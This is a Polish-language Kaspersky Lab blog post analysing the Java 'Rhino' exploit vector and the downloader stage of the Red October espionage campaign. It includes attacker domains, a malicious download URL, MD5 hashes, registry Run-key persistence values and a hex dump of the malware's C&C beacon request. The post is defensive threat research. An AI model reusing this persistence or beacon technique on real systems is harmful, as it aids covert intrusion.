Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

"Red October" - analiza wektora rozprzestrzeniania exploita Javy

Dodany 22 stycznia 2013, 09:37 CET
Tagi:

Po publikacji naszego raportu w sprawie „Red October”, koledzy z Seculert zamieścili na swoim blogu informacje na temat wykorzystania nowego wektora rozprzestrzeniania w atakach „Red October”.

Dodatkowo do luk w dokumentach pakietu MS Office (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), do infiltracji sieci swoich ofiar napastnicy wykorzystali również luki w Javie (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - „NewsFinder.jar”), wykorzystywane przez exploit zwany „Rhino” (CVE-2011-3544).

Wiemy, że atakujący stosowali tę technikę od pierwszych dni lutego 2012 r., a samo korzystanie z exploita było zgodne z założeniem napastników, że nie używają oni luk 0-day. Najprawdopodobniej, odsyłacz do złośliwej witryny było wysyłane do potencjalnych ofiar, których systemy pracowały na przestarzałej wersji Javy.

Jednak, wydaje się, że ten wektor ataku nie był zbyt powszechnie wykorzystywany. Kiedy pobraliśmy i otworzyliśmy skrypt PHP, odpowiedzialny za przydzielanie szkodliwego kodu archiwum „.jar”, linia kodu dostarczającego exploita Javy była opatrzona znacznikami komentarza (a więc nieaktywna). Również powiązane odnośniki, sama Java i złośliwy ładunek w postaci pliku wykonywalnego nie wskazują na szerokie wykorzystanie exploita „Rhino”.

Domena biorąca udział w ataku została przedstawiona tylko raz w publicznym obszarze izolowanym „malwr.com” (http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/) i miało to miejsce jedynie dnia 14 lutego 2012 r, czyli tego samego dnia, w którym została zarejestrowana domena „hotinfonews.com”:

 

Nazwa domeny: HOTINFONEWS.COM Osoba rejestrująca: Osoba prywatna Denis Gozolov (gozolov@mail.ru) Narva mnt 27 Tallinn Tallinn,10120 EE Tel. +372.54055298 Data utworzenia: 14 luty 2012 r. Data wygaśnięcia: 14 luty 2012 r.

Po tym szybkim publicznym ujawnieniu, powiązanie sumy MD5 i odsyłacze nie pojawiły się już więcej w repozytoriach publicznych ani prywatnych, w przeciwieństwie do wielu innych elementów kampanii „Czerwony Październik”.

Możemy spekulować, że grupa napastników przez kilka dni pomyślnie dostarczała szkodliwy ładunek do odpowiedniego celu (-ów), a następnie zaprzestała tych działań. To może również świadczyć, że ta grupa, która skrupulatnie dostosowywała i rozwijała zestaw narzędzi szpiegowskich do jak najefektywniejszej infiltracji środowiska swoich ofiar, miała na początku lutego 2012 r. potrzebę wdrożenia Javy do swoich technik spear – phishingowych. W późniejszych atakach exploit Javy nie był już niezbędny.

Warto też wspomnieć, że odkryliśmy dziennik, w którym zarejestrowane zostały połączenia z trzech odrębnych systemów ofiar z adresów IP w USA. Połączenia te nawiązywane były z rządowym instytutem badawczym na Bliskim Wschodzie.

Wydaje się więc, że exploit „Rhino” miał bardzo ograniczone zastosowanie. Ponadto, funkcjonalność wbudowanego po stronie serwera skryptu PHP, który dostarczał plik exploita, jest bardzo odmienna od wspólnych i pokrewnych funkcji, które znajdują się w backdoorach używanych w ciągu całej pięcioletniej kampanii.

Krypto – procedury dostarczone w ciele exploita są skonfigurowane w taki sposób, że klucz używany do odszyfrowywania ciągów adresu URL exploita jest dostarczany w ramach samego apletu Javy. Poniżej znajduje się procedura szyfrowania PHP, która szyfruje URL dla downloadera:

Poniżej znajduje się funkcja do osadzania apletu w HTML, przekazująca zaszyfrowany ciąg URL poprzez parametr „p”:

Oto kod w aplecie, który używa zaszyfrowanych ciągów. Wynikowa funkcja pobiera treść z adresu URL i zapisuje ją do pliku „javaln.exe”. Zauważmy, że zmienne „strb” i „stra” utrzymują te same ciągi znaków, co zmienne „$files” i „$charset” w skrypcie PHP:

Ta „transferowa” procedura deszyfracji zwraca adres URL, który jest łączony z innych zmiennych, co w wyniku daje: "hXXp://www.hotinfonews.com/news/dailynews2.php?id=<ID_ofiary>&t=win". To jest dokładnie ta treść, która jest zapisywana na dysku i wykonywana na komputerze ofiary. Najbardziej interesujące jest to, że ta procedura szyfrowania kombinacji exploit / PHP różni się od zaciemnienia szeroko stosowanego przez inne moduły „Red October”. To sugeruje, że ten pakiet, o potencjalnie ograniczonym zastosowaniu, był tworzony oddzielnie od reszty składników i był przeznaczony dla określonych ofiar.

Drugi etap ataku: plik wykonywalny EXE, downloader

Drugi etap ataku polega na pobraniu treści z adresu "http://www.hotinfonews.com/news/dailynews2.php" i uruchomieniu jej przez ładunek exploita Javy. Działa to jak downloader dla kolejnego etapu ataku.

Znana lokalizacja pliku: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300

Plik ten jest plikiem wykonywalnym PE EXE, skompilowanym dnia 6 lutego 2012 r. przy pomocy Microsoft Visual Studio 2008. Plik jest chroniony przez warstwę zaciemniania kodu, tę samą, która jest wykorzystywana w wielu innych modułach „Red October”.

Zdjęta warstwa zaciemniania kodu

Moduł tworzy mutex o nazwie „MtxJavaUpdateSln” i wykonuje powrót, jeżeli taki mutex już istnieje.
Następnie przechodzi w stan uśpienia na 79 sekund, a potem tworzy jedną z następujących wartości rejestru, która będzie automatycznie ładowana przy starcie systemu:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%pełna ścieżka dostępu do własnego pliku wykonywalnego%

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln=%pełna ścieżka dostępu do własnego pliku wykonywalnego%

Następnie, po 49 sekundach opóźnienia, moduł wchodzi w nieskończoną pętlę oczekiwania na połączenie z internetem. Co 67 sekund wysyłane jest żądanie HTTP POST do następujących witryn internetowych:

  • www.microsoft.com
  • update.microsoft.com
  • www.google.com

Po poprawnym nawiązaniu połączenia moduł wraca do pętli głównej.

Pętla połączenia z serwerem C&C

Co 180 sekund moduł wysyła żądanie HTTP POST do swojego serwera C&C.
Żądanie jest wysyłane na z góry ustalony adres: www.dailyinfonews.net/reportdatas.php

Treść żądania POST ma następujący format:

id=%unikatowy identyfikator użytkownika, pobierany z nakładki pliku%&
A=%wartość całkowita, wskazuje, czy klucz autouruchamiania rejestru został zapisany%&
B=%wartość 0 lub 1, wskazuje, czy użytkownik posiada przywileje administratora%&
C=%wartość całkowita, wskazuje poziom uprawnień przypisanych do bieżącego użytkownika%
00000000  50 4f 53 54 20 68 74 74  70 3a 2f 2f 77 77 77 2e  |POST http://www.|
00000010  64 61 69 6c 79 69 6e 66  6f 6e 65 77 73 2e 6e 65  |dailyinfonews.ne|
00000020  74 3a 38 30 2f 72 65 70  6f 72 74 64 61 74 61 73  |t:80/reportdatas|
00000030  2e 70 68 70 20 48 54 54  50 2f 31 2e 30 0d 0a 48  |.php HTTP/1.0..H|
00000040  6f 73 74 3a 20 77 77 77  2e 64 61 69 6c 79 69 6e  |ost: www.dailyin|
00000050  66 6f 6e 65 77 73 2e 6e  65 74 3a 38 30 0d 0a 43  |fonews.net:80..C|
00000060  6f 6e 74 65 6e 74 2d 6c  65 6e 67 74 68 3a 20 36  |ontent-length: 6|
00000070  32 0d 0a 43 6f 6e 74 65  6e 74 2d 54 79 70 65 3a  |2..Content-Type:|
00000080  20 61 70 70 6c 69 63 61  74 69 6f 6e 2f 78 2d 77  | application/x-w|
00000090  77 77 2d 66 6f 72 6d 2d  75 72 6c 65 6e 63 6f 64  |ww-form-urlencod|
000000a0  65 64 0d 0a 0d 0a 69 64  3d 41 41 41 39 33 39 35  |ed....id=AAA9395|
000000b0  37 35 32 39 35 33 31 32  35 30 35 31 34 30 32 36  |7529531250514026|
000000c0  31 30 30 36 43 43 43 39  33 33 30 30 39 42 42 42  |1006CCC933009BBB|
000000d0  31 36 35 34 31 35 31 33  26 41 3d 31 26 42 3d 31  |16541513&A=1&B=1|
000000e0  26 43 3d 32                                       |&C=2|
Żądanie HTTP POST wysyłane do serwera C&C

Moduł odszyfrowuje odpowiedź serwera C&C za pomocą algorytmu AMPRNG, używając uprzednio zdefiniowanego klucza. Następnie sprawdza, czy plik EXE posiada właściwy podpis („MZ”) na offsecie 37 w odszyfrowanej przestrzeni bufora. Jeżeli podpis jest obecny, moduł zapisuje plik EXE do lokalizacji „%TEMP%\nvsvc%p%p.exe” („%p” zależy od ustawionej daty systemowej) i uruchamia go.

Trzeci etap ataku: plik wykonywalny EXE, nieznany

Serwer C&C jest aktualnie niedostępny i nie posiadamy plików wykonywalnych, które posłużyły jako downloader "javaln.exe". Najprawdopodobniej, w użyciu były droppery podobne do tych, używanych w exploitach dla Worda i Excela.

Wnioski

Im więcej informacji o kampanii „Red October” staje się dostępnych i im więcej firm trzecich publikuje rezultaty swoich badań w sprawie ataków, tym bardziej staje się jasne, że zakres działania tej operacji cyberprzestępczej jest większy niż początkowo sądzono.

Oprócz prezentowanego w tym artykule exploita Javy, możliwe jest, że w okresie 5 lat od kiedy kampania „Red October” jest aktywna, wykorzystano jeszcze inne mechanizmy dostarczania szkodliwego ładunku. Na przykład – i jest to bardzo nietypowa rzecz – nie widzieliśmy jeszcze żadnych exploitów PDF, które są bardzo popularne wśród innych grup napastników.

Będziemy nadal monitorować sytuację i, w miarę postępów w śledztwie, publikować wszelkie użyteczne informacje.